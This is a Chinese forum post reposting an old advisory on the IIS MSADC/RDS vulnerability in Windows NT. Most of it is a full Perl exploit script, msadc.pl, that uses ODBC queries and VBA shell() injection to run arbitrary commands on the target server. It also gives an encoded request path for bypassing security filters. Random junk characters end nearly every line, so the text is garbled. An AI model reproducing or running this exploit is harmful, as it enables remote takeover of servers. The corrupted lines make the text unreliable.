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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) <s{/ka3  
\Fe5<G'v  
涉及程序: Sqge5v  
Microsoft NT server X0P$r6 ;  
PCIC*!{  
描述: LnyA5T  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 v0xi(Wu  
6R,;c7Izhd  
详细: #UI`G3w<  
如果你没有时间读详细内容的话,就删除: }}xR?+4A  
c:\Program Files\Common Files\System\Msadc\msadcs.dll -OW$  
有关的安全问题就没有了。 ~,guw7F  
X>B/DT  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4{Ak|  
V('b|gsEo  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 W ][IHy<   
关于利用ODBC远程漏洞的描述,请参看: p,0 \NUC  
7yj2we  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G^OSXf5  
zld>o3K}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 gI%n(eY  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |JDJ{;o  
r\1*N.O3|O  
这里不再论述。 TDseWdA  
DxD0iJ=W  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: z>&D~0  
@]7\.>)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ynd}w G'  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! oy'+n-  
YS~x-5OE\  
x~z 2l#ow  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -|T^  
Af%?WZlOq  
#!perl hPH7(f|c{g  
# GJ$,@  
# MSADC/RDS 'usage' (aka exploit) script 4NzHzn  
# t.TQ@c+,J  
# by rain.forest.puppy oe<Y,%u"6  
#  y1saE  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me OH(+]%B78  
# beta test and find errors! WT)")0)[  
f_\-y&)+*  
use Socket; use Getopt::Std;  \X`P W  
getopts("e:vd:h:XR", \%args); )}aF=%  
4~/6d9f  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; tv{.iM|V c  
Qi}LV"&L  
if (!defined $args{h} && !defined $args{R}) { ][mc^eI0s|  
print qq~ ?|/}~ nj7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } f:SF&t*  
-h <host> = host you want to scan (ip or domain) r6)1Y`K=9  
-d <seconds> = delay between calls, default 1 second n" ~*9'  
-X = dump Index Server path table, if available pWp2{G^XB  
-v = verbose S ] &->5"  
-e = external dictionary file for step 5 K|/a]I":  
+u2Co_FJ&  
Or a -R will resume a command session ;n@C(hG  
h.^DRR^S  
~; exit;} O o:jP6r  
E.3}a>f  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 7 AiCQWf9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} [ b W=>M  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 3{z|301<m  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); w~&]gyf  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} K6U>Qums  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {Vm36/a  
mI0r,Z*+M  
if (!defined $args{R}){ $ret = &has_msadc; MD)"r>k  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} D^{:UbN  
( A)wcB  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" *J=ol  
. "cmd /c "; 1`t?5|s>  
$in=<STDIN>; chomp $in; 85 hYYB0v  
$command="cmd /c " . $in ; jJvNN -^  
r;C\eN  
if (defined $args{R}) {&load; exit;} x(`$D  
{;E/l(HNI  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; (?!0__NN;  
&try_btcustmr; E-D5iiF  
ss<'g@R  
print "\nStep 2: Trying to make our own DSN..."; abnd U,s  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; #77UKYj2L-  
NjxW A&[ng  
print "\nStep 3: Trying known DSNs..."; m+UdT854  
&known_dsn; g@k9w{_  
(ZK >WoV  
print "\nStep 4: Trying known .mdbs..."; xNkY'4%  
&known_mdb; (0Cszm.  
G= cxc_9  
if (defined $args{e}){ { 1%ZyY  
print "\nStep 5: Trying dictionary of DSN names..."; >B  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } v~Qy{dn P  
zTB9GrU  
print "Sorry Charley...maybe next time?\n"; Yn>zR I  
exit; 8tMte!E  
=@ZtUjcJx  
############################################################################## 0 l@P]_qq`  
l,FoK76G  
sub sendraw { # ripped and modded from whisker s>\g03=  
sleep($delay); # it's a DoS on the server! At least on mine... @45H8|:k  
my ($pstr)=@_; [u80-x<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || T6$<o\g'  
die("Socket problems\n"); ?m1$*j  
if(connect(S,pack "SnA4x8",2,80,$target)){  uN 62>  
select(S); $|=1; %ZyPK,("  
print $pstr; my @in=<S>; 1,QZnF!.x  
select(STDOUT); close(S); 29^bMau)v  
return @in; 3L?a4,Q"k}  
} else { die("Can't connect...\n"); }} b<AE}UK  
Ba0D"2CgY  
############################################################################## y Xx62J  
e,&%Z  
sub make_header { # make the HTTP request bOMP8{H,  
my $msadc=<<EOT sjgR \`AU  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ZPao*2xz  
User-Agent: ACTIVEDATA MPn>&28"|K  
Host: $ip I;-5]/,  
Content-Length: $clen 9`xFZMd31A  
Connection: Keep-Alive %n25Uq  
qk,y|7 p  
ADCClientVersion:01.06 *^6xt7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 03WRj+w  
H$amt^|zQ4  
--!ADM!ROX!YOUR!WORLD! X&.$/xaT  
Content-Type: application/x-varg ~q(C j"7  
Content-Length: $reqlen xm5FQ) T  
0t?<6-3`/  
EOT ,jsx]U/^  
; $msadc=~s/\n/\r\n/g; Z(mn U;9{v  
return $msadc;} O^weUpe\  
N>%KV8>{L  
############################################################################## T1HiHvJ  
g/Jj]X#r  
sub make_req { # make the RDS request cGta4;  
my ($switch, $p1, $p2)=@_; IQ=|Kj9h  
my $req=""; my $t1, $t2, $query, $dsn; K)UOx#xe1  
"!6~*!]c  
if ($switch==1){ # this is the btcustmr.mdb query Y0O<]2yVx  
$query="Select * from Customers where City=" . make_shell(); xKST-:c+  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . P=[x!}.I  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h) PB  
up3<=u{>  
elsif ($switch==2){ # this is general make table query ysJhP .  
$query="create table AZZ (B int, C varchar(10))"; C$G88hesn  
$dsn="$p1";} Q EGanpz  
YCBML!L  
elsif ($switch==3){ # this is general exploit table query rqe_zyc&  
$query="select * from AZZ where C=" . make_shell(); 6XL9 qb~X  
$dsn="$p1";} /{ MH'  
efkie}  
elsif ($switch==4){ # attempt to hork file info from index server e=;@L3f  
$query="select path from scope()"; UN?T}p- oF  
$dsn="Provider=MSIDXS;";} C%?D E@k  
Pq\V($gN  
elsif ($switch==5){ # bad query Z?v6pjZ?  
$query="select"; I+?$4SC  
$dsn="$p1";} u$,Wyi )L  
rI66frbj  
$t1= make_unicode($query); , gr&s+  
$t2= make_unicode($dsn); GVc[p\h(  
$req = "\x02\x00\x03\x00"; mRnzP[7-\)  
$req.= "\x08\x00" . pack ("S1", length($t1)); ae#HA[\0G  
$req.= "\x00\x00" . $t1 ; F"f}vl  
$req.= "\x08\x00" . pack ("S1", length($t2)); IA 9v1:>  
$req.= "\x00\x00" . $t2 ; QqK{~I|l  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; G%8)6m'3  
return $req;} `pAp[]SfQd  
_& Uo|T  
############################################################################## M(WOxZ8  
MY*>)us\  
sub make_shell { # this makes the shell() statement obc^<ZD]  
return "'|shell(\"$command\")|'";} VueQP|   
&Yks,2:P  
############################################################################## f.84=epv  
xiOrk  
sub make_unicode { # quick little function to convert to unicode 27 YLg c  
my ($in)=@_; my $out; *o\Y~U-so  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } dms:i)L2  
return $out;} X.AWs=:-  
'j<:FUDJ  
############################################################################## [(P[qEY  
l^y?L4hg)  
sub rdo_success { # checks for RDO return success (this is kludge) <_{4-Q>S3#  
my (@in) = @_; my $base=content_start(@in); fRa-bqQ  
if($in[$base]=~/multipart\/mixed/){ u3i| }`  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} "ko?att~  
return 0;} M3;v3 }z<-  
L5qCv -{  
############################################################################## I;.! hV>E  
;/^]|  
sub make_dsn { # this makes a DSN for us ?)o4 Kt'h  
my @drives=("c","d","e","f"); t k/K0u  
print "\nMaking DSN: "; ny_ kr`$42  
foreach $drive (@drives) { {p*hNi)0  
print "$drive: "; %)hIpxOrX  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . sa gBmA~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" pT;-1c%:  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); c>WpOZ,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 'UXj\vJ3E  
return 0 if $2 eq "404"; # not found/doesn't exist -G<2R"Q#N  
if($2 eq "200") { B/9<b{6  
foreach $line (@results) { IU'!?XVo  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} N" Jtg@w  
} return 0;} iI@Gyq=  
am'p^Z @  
############################################################################## `\4JwiPo  
v!{'23`87  
sub verify_exists { 7~l  
my ($page)=@_; ;aK !eD$  
my @results=sendraw("GET $page HTTP/1.0\n\n"); D.&eM4MZ  
return $results[0];} ~SR(K{nf#.  
mA] 84zO  
############################################################################## +?5Uy*$  
hzuMTKH9  
sub try_btcustmr { oB{}-[G  
my @drives=("c","d","e","f"); "J[i=~(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); : ` 6$/DK  
id#k!*$7  
foreach $dir (@dirs) { G0; EbJ/&  
print "$dir -> "; # fun status so you can see progress WP@JrnxO\`  
foreach $drive (@drives) { < ;,S"e  
print "$drive: "; # ditto .1z$ A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J.e8UQ@=5  
$reqlenlen=length( "$reqlen" ); D@r n@N  
$clen= 206 + $reqlenlen + $reqlen; qvfAG 0p  
ekl? K~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ({H+ y 9n  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} o~.o^0Y  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $YGIN7_Gg  
U3|&Jee  
############################################################################## .t^UK#@#4  
L4/TI(MP  
sub odbc_error { F3Ak'h{Ay  
my (@in)=@_; my $base; :U-US|)(2  
my $base = content_start(@in); ^;CR0.4  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this jY#(A23  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u5{5ts+:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DtJTnvG~B  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ++Ys9Y)*,  
return $in[$base+4].$in[$base+5].$in[$base+6];} nzE,F\k  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; v1"g!%U6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ej"o?1l@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1y)$[e   
eA*Jfb  
############################################################################## v-7Rb )EP  
B )1<`nJA  
sub verbose { msqxPC^I  
my ($in)=@_; _L:i=.hxN  
return if !$verbose; ]2xx+P#Y  
print STDOUT "\n$in\n";} 5;K-,"UQ  
@cS1w'=  
############################################################################## sx-Hw4.a"  
I"F .%re  
sub save { z"s%#/#  
my ($p1, $p2, $p3, $p4)=@_; 7S dV%"  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; vzohq1r5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9HJ'p:{)  
close OUT;} &8X .!r`f  
n$OE~YwP{  
############################################################################## ]4 K1%ZV  
.n)!ZN  
sub load { m>abK@5na  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; )ZgER[  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); P"V{y|2  
@p=<IN>; close(IN); ,. 6J6{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); }W__ffH  
$target= inet_aton($ip) || die("inet_aton problems"); /XW&q)z-Hl  
print "Resuming to $ip ..."; 8=n9hLhqo  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; lZS_n9Sc  
if($p[1]==1) { M8#*zCp{5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; {#w A !>.  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6m-:F.k1(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); rt3f7 s*  
if (rdo_success(@results)){print "Success!\n";} f- k|w%R@  
else { print "failed\n"; verbose(odbc_error(@results));}} |Uy e>%*}4  
elsif ($p[1]==3){ 0U~;%N+lv  
if(run_query("$p[3]")){ _Ra<|NVQh  
print "Success!\n";} else { print "failed\n"; }} #4P3xa  
elsif ($p[1]==4){ n ,&/D  
if(run_query($drvst . "$p[3]")){ {XDY:`vZ}  
print "Success!\n"; } else { print "failed\n"; }} Uxk[O  
exit;} {;Y 89&*R  
==h|+NFa  
############################################################################## Bg 7j5  
EI=Naq  
sub create_table { V>FT~k_"  
my ($in)=@_; w PG1P'w;  
$reqlen=length( make_req(2,$in,"") ) - 28; Ss#@=:"P  
$reqlenlen=length( "$reqlen" ); |P,zGy  
$clen= 206 + $reqlenlen + $reqlen; !^)wPmk  
my @results=sendraw(make_header() . make_req(2,$in,"")); `x{.z=xC  
return 1 if rdo_success(@results); Sc4obcw%  
my $temp= odbc_error(@results); verbose($temp); s FQ4O- SM  
return 1 if $temp=~/Table 'AZZ' already exists/; tT@w%Sz57N  
return 0;} MG7 ?N #  
"wnpiB}  
############################################################################## }pl]9  
T}L^CU0  
sub known_dsn { @pF fpHq?>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5|<yfk8*J  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", eK Z@ FEZ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", C%}]"0Q1  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); e-CNQnO~  
kCaO\#ta  
foreach $dSn (@dsns) { ,67"C2Y  
print "."; A9\]3 LY  
next if (!is_access("DSN=$dSn")); T3USNc51  
if(create_table("DSN=$dSn")){ W_[|X}lWP  
print "$dSn successful\n"; ibd$%;bX3  
if(run_query("DSN=$dSn")){ JmU<y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { g.B%#bfg  
print "Something's borked. Use verbose next time\n";}}} print "\n";} j4~7akG  
X q}Ucpj  
############################################################################## HE#,(;1i  
7BL |x  
sub is_access { ||-nmOy  
my ($in)=@_; Vs#"SpH{'  
$reqlen=length( make_req(5,$in,"") ) - 28; 8 uDerJ!  
$reqlenlen=length( "$reqlen" ); jd%Len&p  
$clen= 206 + $reqlenlen + $reqlen; @4IW=V  
my @results=sendraw(make_header() . make_req(5,$in,"")); up\oWR:  
my $temp= odbc_error(@results);  0dgP  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); b]!9eV$  
return 0;} G(U9rJ9  
doP$N3Zm  
############################################################################## v! 7s M  
 \#4m@  
sub run_query { ?M*7@t@  
my ($in)=@_; [[:UhrH-  
$reqlen=length( make_req(3,$in,"") ) - 28; r4O|()  
$reqlenlen=length( "$reqlen" ); IDy_L;'`*  
$clen= 206 + $reqlenlen + $reqlen; {>8Pl2J  
my @results=sendraw(make_header() . make_req(3,$in,"")); [8>z#*B  
return 1 if rdo_success(@results); &+mV7o  
my $temp= odbc_error(@results); verbose($temp); FJP< bREQ  
return 0;} ^4c,U9J=  
0U$:>bQ  
############################################################################## 8F#osN  
63W{U/*aao  
sub known_mdb { bGbqfO`  
my @drives=("c","d","e","f","g"); _f cS>/<a  
my @dirs=("winnt","winnt35","winnt351","win","windows"); &&[zT/]P  
my $dir, $drive, $mdb; >Bc> IO  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; D`6iDi t  
ldA!ou7  
# this is sparse, because I don't know of many QX[Djz0H8  
my @sysmdbs=( "\\catroot\\icatalog.mdb", n[!;yO  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", WfTD7?\dw  
"\\system32\\certmdb.mdb", 6cM<>&e  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% \)ip>{WG  
)uZoH 8?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", # ;K,,ku x  
"\\cfusion\\cfapps\\forums\\forums_.mdb", C:]s;0$3'9  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =M7TCE  
"\\cfusion\\cfapps\\security\\realm_.mdb", EXuLSzQwv  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", MkwU<ae AB  
"\\cfusion\\database\\cfexamples.mdb", aF!Ex  
"\\cfusion\\database\\cfsnippets.mdb", b"I~_CL|  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", LO)GTyzvJ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >lrhHU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 8z Y)J#  
"\\cfusion\\database\\smpolicy.mdb", .*BA 1sjE  
"\\cfusion\\database\cypress.mdb", pet~[e%!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", JIzY,%`\  
"\\website\\cgi-win\\dbsample.mdb", }91*4@B7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", AXs=1  e  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Kx~$Bor_!  
); #these are just ZWO)tVw9G  
foreach $drive (@drives) { ; e@gO  
foreach $dir (@dirs){ ipobr7G.SD  
foreach $mdb (@sysmdbs) { i3#'*7f%j  
print "."; 4'',6KJ@  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ yL6^\x  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; aX;A==>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ U&X2cR &a  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; YutQ]zYA.  
} else { print "Something's borked. Use verbose next time\n"; }}}}} @5xu>gKn  
(Yv{{mIy  
foreach $drive (@drives) { B MM--y@  
foreach $mdb (@mdbs) { T-'~?[v  
print "."; ;f:gX`"\  
if(create_table($drv . $drive . $dir . $mdb)){ ^i+[m  
print "\n" . $drive . $dir . $mdb . " successful\n"; ]jyM@  
if(run_query($drv . $drive . $dir . $mdb)){ @Br {!#Wf  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; u:@U $:sZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} i31<].|kA*  
} `H>b5  
t2- ^-g6  
##############################################################################  FZ F @  
[#Y' dFQ  
sub hork_idx { ciudRK63M  
print "\nAttempting to dump Index Server tables...\n"; uRE*%d>  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Rf)ke("  
$reqlen=length( make_req(4,"","") ) - 28; re^Hc(8M  
$reqlenlen=length( "$reqlen" ); !^e =P%S  
$clen= 206 + $reqlenlen + $reqlen; 'cV?i&;  
my @results=sendraw2(make_header() . make_req(4,"","")); yhpz5[AuO  
if (rdo_success(@results)){ rEdY>\'  
my $max=@results; my $c; my %d; `9Yn0B.  
for($c=19; $c<$max; $c++){ _%~$'Hy  
$results[$c]=~s/\x00//g; 54{q.I@n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; +`B'r '  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 3uV4/% U  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; d H? ScXM=  
$d{"$1$2"}="";} .Pe9_ZH$W  
foreach $c (keys %d){ print "$c\n"; } ZtK\HDdp  
} else {print "Index server doesn't seem to be installed.\n"; }} Gh}yb-$N`&  
o:"anHs  
############################################################################## 9xFO]Y"  
Pao%pA.<  
sub dsn_dict { KVkMU?6  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $d/&k`  
while(<IN>){ (&[[46  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +H_MV=A^  
next if (!is_access("DSN=$dSn")); )55\4<ty  
if(create_table("DSN=$dSn")){ bUZ_UW  
print "$dSn successful\n"; `pL^}_>|GM  
if(run_query("DSN=$dSn")){ Zp&@h-%YoD  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9XLFHV("  
print "Something's borked. Use verbose next time\n";}}} S|em[D[Y^  
print "\n"; close(IN);} ('C7=u&F  
#]E(N~  
############################################################################## ujr(K=E  
Y ya`&V  
sub sendraw2 { # ripped and modded from whisker A(8n  
sleep($delay); # it's a DoS on the server! At least on mine... S QY"OBo<e  
my ($pstr)=@_; t P"\J(x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || EHn"n"Y  
die("Socket problems\n"); I7n3xN&4"  
if(connect(S,pack "SnA4x8",2,80,$target)){ !2tW$BP^  
print "Connected. Getting data"; 3GH(wSv9\  
open(OUT,">raw.out"); my @in; k`\R+WK$  
select(S); $|=1; print $pstr; ]ikomCg   
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -r<#rITH"  
close(OUT); select(STDOUT); close(S); return @in; jjzA .8?(7  
} else { die("Can't connect...\n"); }} Nc)J18  
 En6H%^d2  
############################################################################## p`F9Amb  
*|% ^0#$c  
sub content_start { # this will take in the server headers B=Ym x2A9]  
my (@in)=@_; my $c; . ]@=es  
for ($c=1;$c<500;$c++) { 2HD]?:Fk7  
if($in[$c] =~/^\x0d\x0a/){ WG7k(Sp ]  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } pZ(Fx&fy  
else { return $c+1; }}} +nL+ N  
return -1;} # it should never get here actually D)@XoM(  
 k5`OH8G  
############################################################################## j(rL  
'?QuJFki  
sub funky { Km#pX1]>e  
my (@in)=@_; my $error=odbc_error(@in); *\uM.m0$  
if($error=~/ADO could not find the specified provider/){ K_/zuTy  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; EW<kI+0D  
exit;} ObG|o1b  
if($error=~/A Handler is required/){ (`BSVxJH  
print "\nServer has custom handler filters (they most likely are patched)\n";  Q=uRKh  
exit;} T?Fcohz(  
if($error=~/specified Handler has denied Access/){ ;CHi\+` 5  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~utJB 'gr  
exit;}} tK(g-u0N`(  
S4^N^lQ]  
############################################################################## D${={x  
5O/i3m26  
sub has_msadc { I 1Sa^7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); %+)o'nf"U  
my $base=content_start(@results); @}-r&/#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ->^~KVh&  
return 0;} h#r^teui)  
\2 y5_;O  
######################## kq=V4-a[  
FQz?3w&ia  
a:, y Z  
解决方案: ;`YkMS`=W  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <A5]]{9 +  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 WE6a'  
{66sB{P  
拿出来充数 哈哈
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